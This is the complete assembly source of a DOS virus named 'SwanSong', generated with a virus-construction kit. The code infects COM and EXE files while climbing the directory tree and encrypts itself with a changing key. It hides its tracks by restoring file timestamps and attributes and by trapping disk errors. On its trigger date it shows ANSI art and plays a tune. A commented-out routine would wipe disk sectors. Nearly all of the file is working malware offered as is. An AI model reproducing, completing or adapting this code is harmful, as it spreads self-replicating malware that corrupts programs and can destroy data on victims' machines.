; ZEP1.ASM : [SwanSong] by [pAgE]
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'ZP'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

decrypt:                                ; handles encryption and decryption
          mov  di,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
          mov  bp,offset startencrypt   ; start of decryption
decrypt_loop:
          db   2eh,81h,46h,0            ; add word ptr cs:[bp], xxxx
decrypt_value dw 0                      ; initialised at zero for null effect
          inc  bp                       ; calculate new decryption location
          inc  bp
          dec  di                       ; If we are not done, then
          jnz  decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:     pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset

          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],9 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
          int  21h

          mov  ah,47h                   ; Get current directory
          mov  dl,0                     ; Current drive
          lea  si,[bp+origdir]          ; DS:SI->buffer
          int  21h
          mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR

          mov  ax,3524h                 ; Get int 24 handler
          int  21h                      ; to ES:BX
          mov  word ptr [bp+oldint24],bx; Save it
          mov  word ptr [bp+oldint24+2],es
          mov  ah,25h                   ; Set new int 24 handler
          lea  dx,[bp+offset int24]     ; DS:DX->new handler
          int  21h
          push cs                       ; Restore ES
          pop  es                       ; 'cuz it was changed

dir_scan:                               ; "dot dot" traversal
          lea  dx,[bp+exe_mask]
          call infect_mask
          lea  dx,[bp+com_mask]
          call infect_mask
          mov  ah,3bh                   ; change directory
          lea  dx,[bp+dot_dot]          ; "cd .."
          int  21h
          jnc  dir_scan                 ; go back for mo!

done_infections:
          mov  ah,2ah                   ; Get current date
          int  21h
          cmp  dh,1                     ; Check month
          jb   exit_virus
          cmp  cx,1992                  ; Check year
          jb   exit_virus
          cmp  al,0                     ; Check date of week
          jae  activate

exit_virus:
          mov  ax,2524h                 ; Restore int 24 handler
          lds  dx,[bp+offset oldint24]  ; to original
          int  21h
          push cs
          pop  ds

          mov  ah,3bh                   ; change directory
          lea  dx,[bp+origdir-1]        ; original directory
          int  21h

          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  27h                      ; YEAH!  Memory Resident
          NOP                           ; Change it to 21h instead!
          retn
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+jmpsave+2],ax
          add  ax,word ptr cs:[bp+stacksave+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
jmpsave             dd ?                ; Original CS:IP
stacksave           dd ?                ; Original SS:SP
jmpsave2            db ?                ; Actually four bytes
save3               db 0cdh,20h,0       ; First 3 bytes of COM file
stacksave2          dd ?

activate        proc    far

start:
		jmp	short loc_1
		db	90h
data_2		db	0
data_3		dw	23Fh
		db	2
data_4		dw	0
		db	'TheDraw COM file Screen Save'
		db	1Ah
data_5		db	'Unsupported Video Mode', 0Dh, 0Ah
		db	'$'
loc_1:
                mov  ah,0Fh
                int  010h
                xor  ah,ah
                int  010h
                mov  ax,0002h
                mov  cx,0100h
		mov	ah,0Fh
		int	10h			; Video display   ah=functn 0Fh
		mov	bx,0B800h
		cmp	al,2
		je	loc_2			; Jump if equal
		cmp	al,3
		je	loc_2			; Jump if equal
		mov	data_2,0
		mov	bx,0B000h
		cmp	al,7
		je	loc_2			; Jump if equal
		mov	dx,offset data_5	; ('Unsupported Video Mode')
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		retn
loc_2:
		mov	es,bx
		mov	di,data_4
		mov	si,offset data_6
		mov	dx,3DAh
		mov	bl,9
		mov	cx,data_3
		cld				; Clear direction
		xor	ax,ax			; Zero register

locloop_4:
		lodsb				; String [si] to al
		cmp	al,1Bh
		jne	loc_5			; Jump if not equal
		xor	ah,80h
		jmp	short loc_20
loc_5:
		cmp	al,10h
		jae	loc_8			; Jump if above or =
		and	ah,0F0h
		or	ah,al
		jmp	short loc_20
loc_8:
		cmp	al,18h
		je	loc_11			; Jump if equal
		jnc	loc_12			; Jump if carry=0
		sub	al,10h
		add	al,al
		add	al,al
		add	al,al
		add	al,al
		and	ah,8Fh
		or	ah,al
		jmp	short loc_20
loc_11:
		mov	di,data_4
		add	di,data_1e
		mov	data_4,di
		jmp	short loc_20
loc_12:
		mov	bp,cx
		mov	cx,1
		cmp	al,19h
		jne	loc_13			; Jump if not equal
		lodsb				; String [si] to al
		mov	cl,al
		mov	al,20h			; ' '
		dec	bp
		jmp	short loc_14
loc_13:
		cmp	al,1Ah
		jne	loc_15			; Jump if not equal
		lodsb				; String [si] to al
		dec	bp
		mov	cl,al
		lodsb				; String [si] to al
		dec	bp
loc_14:
		inc	cx
loc_15:
		cmp	data_2,0
		je	loc_18			; Jump if equal
		mov	bh,al

locloop_16:
		in	al,dx			; port 3DAh, CGA/EGA vid status
		rcr	al,1			; Rotate thru carry
		jc	locloop_16		; Jump if carry Set
loc_17:
		in	al,dx			; port 3DAh, CGA/EGA vid status
		and	al,bl
		jnz	loc_17			; Jump if not zero
		mov	al,bh
		stosw				; Store ax to es:[di]
		loop	locloop_16		; Loop if cx > 0

		jmp	short loc_19
loc_18:
		rep	stosw			; Rep when cx >0 Store ax to es:[di]
loc_19:
		mov	cx,bp
loc_20:
		jcxz	loc_ret_21		; Jump if cx=0
		loop	locloop_4		; Loop if cx > 0


loc_ret_21:


                mov     si,offset data00        ; SI points to data
get_note:       mov     bx,[si]                 ; Load BX with the frequency
                or      bx,bx                   ; Is BX equal to zero?
                je      play_tune_done          ; If it is we are finished

                mov     ax,034DDh               ;
                mov     dx,0012h                ;
                cmp     dx,bx                   ;
                jnb     new_note                ;
                div     bx                      ; This bit here was stolen
                mov     bx,ax                   ; from the Turbo C++ v1.0
                in      al,061h                 ; library file CS.LIB.  I
                test    al,3                    ; extracted sound() from the
                jne     skip_an_or              ; library and linked it to
                or      al,3                    ; an .EXE file, then diassembled
                out     061h,al                 ; it.  Basically this turns
                mov     al,0B6h                 ; on the speaker at a certain
                out     043h,al                 ; frequency.
skip_an_or:     mov     al,bl                   ;
                out     042h,al                 ;
                mov     al,bh                   ;
                out     042h,al                 ;

                mov     bx,[si + 2]             ; BX holds duration value
                xor     ah,ah                   ; BIOS get time function
                int     1Ah
                add     bx,dx                   ; Add the time to the length
wait_loop:      int     1Ah                     ; Get the time again (AH = 0)
                cmp     dx,bx                   ; Is the delay over?
                jne     wait_loop               ; Repeat until it is
                in      al,061h                 ; Stolen from the nosound()
                and     al,0FCh                 ; procedure in Turbo C++ v1.0.
                out     061h,al                 ; This turns off the speaker.

new_note:       add     si,4                    ; SI points to next note
                jmp     short get_note          ; Repeat with the next note
play_tune_done:
               ;mov     ax,0002h                ; Which Drive???
               ;mov     cx,0100h                ; How many sectors to NUKE?
               ;cli                             ; Disable interrupts (no Ctrl-C)
               ;cwd                             ; Clear DX (start with sector 0)
               ;int     026h                    ; Ahhhh!  WAD...pfffft!
               ;sti                             ; Res.interrupts what's left
               ;mov     ax,04C00h               ; DOS term.func.
               ;int     021h
activate        endp

          jmp  exit_virus

creator             db '[MPC]',0        ; Mass Produced Code Generator
virusname           db '[SwanSong]',0
author              db '[pAgE]',0

infect_mask:
          mov  ah,4eh                   ; find first file
          mov  cx,7                     ; any attribute
findfirstnext:
          int  21h                      ; DS:DX points to mask
          jc   exit_infect_mask         ; No mo files found

          mov  al,0h                    ; Open read only
          call open

          mov  ah,3fh                   ; Read file to buffer
          lea  dx,[bp+buffer]           ; @ DS:DX
          mov  cx,1Ah                   ; 1Ah bytes
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          cmp  word ptr [bp+buffer],'ZM'; EXE?
          jz   checkEXE                 ; Why yes, yes it is!
checkCOM:
          mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
          mov  bx,word ptr [bp+buffer+1]; get jmp location
          add  bx,heap-decrypt+3        ; Adjust for virus size
          cmp  ax,bx
          je   find_next                ; already infected
          jmp  infect_com
checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
          jnz  infect_exe
find_next:
          mov  ah,4fh                   ; find next file
          jmp  short findfirstnext
exit_infect_mask: ret

infect_exe:
          les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
          mov  word ptr [bp+jmpsave2], ax
          mov  word ptr [bp+jmpsave2+2], es

          les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
          mov  word ptr [bp+stacksave2], es
          mov  word ptr [bp+stacksave2+2], ax

          mov  ax, word ptr [bp+buffer + 8] ; Get header size
          mov  cl, 4                    ; convert to bytes
          shl  ax, cl
          xchg ax, bx

          les  ax, [bp+offset newDTA+26]; Get file size
          mov  dx, es                   ; to DX:AX
          push ax
          push dx

          sub  ax, bx                   ; Subtract header size from
          sbb  dx, 0                    ; file size

          mov  cx, 10h                  ; Convert to segment:offset
          div  cx                       ; form

          mov  word ptr [bp+buffer+14h], dx ; New entry point
          mov  word ptr [bp+buffer+16h], ax

          mov  word ptr [bp+buffer+0Eh], ax ; and stack
          mov  word ptr [bp+buffer+10h], id

          pop  dx                       ; get file length
          pop  ax

          add  ax, heap-decrypt         ; add virus size
          adc  dx, 0

          mov  cl, 9
          push ax
          shr  ax, cl
          ror  dx, cl
          stc
          adc  dx, ax
          pop  ax
          and  ah, 1                    ; mod 512

          mov  word ptr [bp+buffer+4], dx ; new file size
          mov  word ptr [bp+buffer+2], ax

          push cs                       ; restore ES
          pop  es

          push word ptr [bp+buffer+14h] ; needed later
          mov  cx, 1ah
          jmp  short finishinfection
infect_com:                             ; ax = filesize
          mov  cx,3
          sub  ax,cx
          lea  si,[bp+offset buffer]
          lea  di,[bp+offset save3]
          movsw
          movsb
          mov  byte ptr [si-3],0e9h
          mov  word ptr [si-2],ax
          add  ax,103h
          push ax                       ; needed later
finishinfection:
          push cx                       ; Save # bytes to write
          xor  cx,cx                    ; Clear attributes
          call attributes               ; Set file attributes

          mov  al,2
          call open

          mov  ah,40h                   ; Write to file
          lea  dx,[bp+buffer]           ; Write from buffer
          pop  cx                       ; cx bytes
          int  21h

          mov  ax,4202h                 ; Move file pointer
          xor  cx,cx                    ; to end of file
          cwd                           ; xor dx,dx
          int  21h

          mov  ah,2ch                   ; Get current time
          int  21h                      ; dh=sec,dl=1/100 sec
          mov  [bp+decrypt_value],dx    ; Set new encryption value
          lea  di,[bp+code_store]
          mov  ax,5355h                 ; push bp,push bx
          stosw
          lea  si,[bp+decrypt]          ; Copy encryption function
          mov  cx,startencrypt-decrypt  ; Bytes to move
          push si                       ; Save for later use
          push cx
          rep  movsb

          xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub

          lea    si,[bp+write]          ; Copy writing function
          mov    cx,endwrite-write      ; Bytes to move
          rep    movsb
          pop    cx
          pop    si
          pop    dx                     ; Entry point of virus
          push   di
          push   si
          push   cx
          rep    movsb                  ; Copy decryption function
          mov    ax,5b5dh               ; pop bx,pop bp
          stosw
          mov    al,0c3h                ; retn
          stosb

          add    dx,offset startencrypt - offset decrypt ; Calculate new
          mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
          call   code_store             ; decryption
          pop    cx
          pop    di
          pop    si
          rep    movsb                  ; Restore decryption function

          mov  ax,5701h                 ; Restore creation date/time
          mov  cx,word ptr [bp+newDTA+16h] ; time
          mov  dx,word ptr [bp+newDTA+18h] ; date
          int  21h

          mov  ah,3eh                   ; Close file
          int  21h

          mov ch,0
          mov cl,byte ptr [bp+newDTA+15h] ; Restore original
          call attributes               ; attributes

          dec  byte ptr [bp+numinfec]   ; One mo infection
          jnz  mo_infections            ; Not enough
          pop  ax                       ; remove call from stack
          jmp  done_infections
mo_infections: jmp find_next

open:
          mov  ah,3dh
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          xchg ax,bx
          ret

attributes:
          mov  ax,4301h                 ; Set attributes to cx
          lea  dx,[bp+newDTA+30]        ; filename in DTA
          int  21h
          ret

write:
          pop  bx                       ; Restore file handle
          pop  bp                       ; Restore relativeness
          mov  ah,40h                   ; Write to file
          lea  dx,[bp+decrypt]          ; Concatenate virus
          mov  cx,heap-decrypt          ; # bytes to write
          int  21h
          push bx
          push bp
endwrite:

int24:                                  ; New int 24h (error) handler
          mov  al,3                     ; Fail call
          iret                          ; Return control
data00    dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
         dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
         dw      2000,8,2500,8,2000,14,2500,14
         dw      2500,14,3000,4,4000,24,3500,12,4000,6
         dw      3500,12,4000,4,4500,10,5000,4
         dw      5500,15,3000,8,3500,20,3000,8,3500,50
         dw      0
data_6		db	2
		db	10h
		db	'I', 27h, 'll never leave you alo'
		db	'ne because, I', 27h, 'm ...'
		db	 19h, 1Dh, 18h, 19h, 48h, 18h
		db	 19h, 48h, 18h, 19h, 0Eh, 04h
		db	0D6h,0C4h,0D2h,0C4h,0BFh, 20h
		db	0D2h, 20h, 20h,0C2h, 20h,0D2h
		db	0C4h,0C4h,0BFh, 19h, 2Ah, 18h
		db	 19h, 10h, 0Bh,0BAh, 19h, 02h
		db	0C7h,0C4h,0C4h,0B4h, 20h,0C7h
		db	0C4h, 19h, 2Ch, 18h, 19h, 10h
		db	 09h,0D0h, 19h, 02h,0D0h, 20h
		db	 20h,0C1h, 20h,0D0h,0C4h,0C4h
		db	0D9h, 19h, 2Ah, 18h, 19h, 0Eh
		db	 04h,0D6h,0C4h,0D2h,0C4h,0BFh
		db	 20h,0D6h,0C4h,0C4h,0BFh, 20h
		db	0D2h,0C4h,0C4h,0BFh, 20h,0D2h
		db	 20h,0DAh, 19h, 26h, 18h, 19h
		db	 0Eh, 0Bh,0BAh, 20h,0BAh, 20h
		db	0B3h, 20h,0C7h,0C4h,0C4h,0B4h
		db	 20h,0C7h,0C4h,0C2h,0D9h, 20h
		db	0C7h,0C4h,0C1h,0BFh, 19h, 25h
		db	 18h, 19h, 0Eh, 09h,0D0h, 20h
		db	0D0h, 20h,0C1h, 20h,0D0h, 20h
		db	 20h,0C1h, 20h,0D0h, 20h,0C1h
		db	 20h, 20h,0D0h, 20h, 20h,0C1h
		db	 19h, 25h, 18h, 19h, 0Eh, 04h
		db	0D2h, 20h,0D2h, 20h,0C2h, 20h
		db	0D2h, 20h, 20h,0C2h, 20h,0C4h
		db	0D2h,0C4h, 20h,0D6h,0C4h,0D2h
		db	0C4h,0BFh, 20h,0D6h,0C4h,0D2h
		db	0C4h,0BFh, 20h,0C4h,0D2h,0C4h
		db	 20h,0D6h,0C4h,0C4h,0BFh, 20h
		db	0D6h,0C4h,0C4h,0BFh, 20h,0D6h
		db	0C4h,0D2h,0C4h,0BFh, 20h,0D6h
		db	0C4h,0C4h,0BFh, 20h,0D6h,0C4h
		db	0C4h,0BFh, 20h, 20h, 18h, 19h
		db	 0Eh, 0Bh,0BAh, 20h,0BAh, 20h
		db	0B3h, 20h,0C7h,0C4h,0C4h,0B4h
		db	 20h, 20h,0BAh, 19h, 03h,0BAh
		db	 19h, 04h,0BAh, 19h, 03h,0BAh
		db	 20h, 20h,0BAh, 20h, 20h,0B3h
		db	 20h,0BAh, 20h,0C4h,0BFh, 19h
		db	 02h,0BAh, 19h, 02h,0BAh, 20h
		db	 20h,0B3h, 20h,0BAh
		db	 20h, 20h
		dd	182020B3h		; Data table (indexed access)
		db	 19h, 0Eh, 09h,0D3h,0C4h,0D0h
		db	0C4h,0D9h, 20h,0D0h, 20h, 20h
		db	0C1h, 20h,0C4h,0D0h,0C4h, 19h
		db	 02h,0D0h, 19h, 04h,0D0h, 19h
		db	 02h,0C4h,0D0h,0C4h, 20h,0D0h
		db	 20h, 20h,0C1h, 20h,0D3h,0C4h
		db	0C4h,0D9h, 19h, 02h,0D0h, 19h
		db	 02h,0D3h,0C4h,0C4h,0D9h, 20h
		db	0D0h, 20h, 20h,0C1h, 20h, 20h
		db	 18h, 19h, 0Eh, 0Eh, 1Bh,0D2h
		db	 19h, 04h,0C2h, 20h,0C4h,0C4h
		db	0D2h,0C4h,0C4h, 20h,0D2h, 1Ah
		db	 04h,0C4h,0BFh, 20h,0D2h, 19h
		db	 04h,0C2h, 20h,0D6h, 1Ah, 04h
		db	0C4h,0BFh, 19h, 03h, 04h, 1Bh
		db	0D2h, 20h,0D2h, 20h,0D2h, 20h
		db	0D2h, 20h,0D2h, 20h,0D2h, 20h
		db	0D2h, 20h,0D2h, 20h, 20h, 18h
		db	 19h, 0Eh, 0Eh, 1Bh,0BAh, 19h
		db	 04h,0B3h, 19h, 02h,0BAh, 19h
		db	 02h,0BAh, 19h, 04h,0B3h, 20h
		db	0BAh, 19h, 04h,0B3h, 20h,0BAh
		db	 19h, 09h, 0Bh, 1Bh,0BAh, 20h
		db	0BAh, 20h,0BAh, 20h,0BAh, 20h
		db	0BAh, 20h,0BAh, 20h,0BAh, 20h
		db	0BAh, 20h, 20h, 18h, 19h, 0Eh
		db	 0Eh, 1Bh,0D3h,0B7h, 19h, 02h
		db	0DAh,0D9h, 19h, 02h,0BAh, 19h
		db	 02h,0C7h,0C4h,0C4h,0C4h,0C2h
		db	0C4h,0D9h, 20h,0BAh, 19h, 04h
		db	0B3h, 20h,0D3h, 1Ah, 04h,0C4h
		db	0BFh, 19h, 03h
		db	9, 1Bh, 'o o o o o o o o  '
		db	 18h, 19h, 0Fh, 0Eh, 1Bh,0BAh
		db	 19h, 02h,0B3h, 19h, 03h,0BAh
		db	 19h, 02h,0BAh, 19h, 02h,0B3h
		db	 19h, 02h,0BAh, 19h, 04h,0B3h
		db	 19h, 06h,0B3h, 19h, 14h, 18h
		db	 19h, 0Fh,0D3h,0C4h,0C4h,0C4h
		db	0D9h, 20h, 20h,0C4h,0C4h,0D0h
		db	0C4h,0C4h, 20h,0D0h, 19h, 02h
		db	0C1h,0C4h, 20h, 20h,0D3h, 1Ah
		db	 04h,0C4h,0D9h, 20h,0D3h, 1Ah
		db	 04h,0C4h,0D9h, 19h, 14h, 18h


data_1e             equ     0A0h
exe_mask            db '*.exe',0
com_mask            db '*.com',0
dot_dot             db '..',0
heap:                                   ; Variables not in code
; The following code is the buffer for the write function
code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24            dd ?                ; Storage for old int 24h handler      
backslash           db ?
origdir             db 64 dup (?)       ; Current directory buffer             
newDTA              db 43 dup (?)       ; Temporary DTA                        
numinfec            db ?                ; Infections this run                  
buffer              db 1ah dup (?)      ; read buffer                          
endheap:                                ; End of virus
end       entry_point